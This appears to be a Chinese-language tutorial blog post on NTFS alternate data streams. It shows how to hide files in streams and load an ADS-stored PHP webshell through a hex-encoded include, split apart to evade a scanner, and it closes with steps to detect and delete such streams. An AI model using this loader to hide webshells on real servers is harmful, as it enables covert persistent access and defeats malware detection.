0x00介绍

Alternate DataStreams(ADS)

换算成我学过的就是NTFS交换数据流。ADS是NTFS磁盘格式的一个特性,在NTFS文件系统中,每个文件都可以存在多个数据流。

概念就那么一点直接看实例。

比如说下面这个,我现在桌面新建一个test文件夹:

然后使用命令:

echo 3628>1.txt:flag.txt

image-20210820142921387

然后打开只有一个空的1.txt并没有写的3628的txt。

这里就是ADS的利用,如何排查使用ADS隐藏的文件呢:

image-20210820143032408

使用dir /r即可看到,可以看到写进去的就是$DATA的流文件。

但默认新建文本文档或者文件都没办法建一个以:$DATA结尾的文件。

当然上面那种方式是以1.txt为寄宿文件,然后产生的数据流文件。

也可以用文件夹:

echo "test">test:1.php
当然也可以忽略文件夹:
echo test>:1.php

这样就。。。找不到了只能看到那个文件夹。但是这种流文件在WinXp后都没有执行权限的。后面写webshell的利用。

0x01利用

主要利用在webshell的隐藏上,但由于无执行权限,以PHP为例,则需要文件包含,但一般的Include容易被查杀,因而换一个编码函数:

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

这个能被查杀:

image-20210820154615186

<?php 
$a="696E6465782E7068703"."A68696464656E2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

然后采用分节绕过一下:

就扫不出来了。

PACK函数用法:

pack(format,args+)
其中format规定在包装数据时所使用的格式。args规定被包装的一个或多个参数
pack()函数把数据装入一个二进制字符串。
常用的H - HEX String hig nibble first
其中format可以使用通配符*匹配例如。
<?php
echo pack("C3",80,72,80);
?>
输出:PHP
<?php
echo pack("C*",80,72,80);
?>
echo PHP

0x02防御

如何检测和删除这种流文件?

如果有宿主文件并且那个不是业务文件。那可以直接删除宿主文件。

image-20210820152357458

winhex的disk功能可以直接看到流文件然后删除。

image-20210820152423428

tools->open disk然后打开就发现了1.php。上面这个NTFS是代表磁盘的文件系统格式。

选中右键删除即可清除。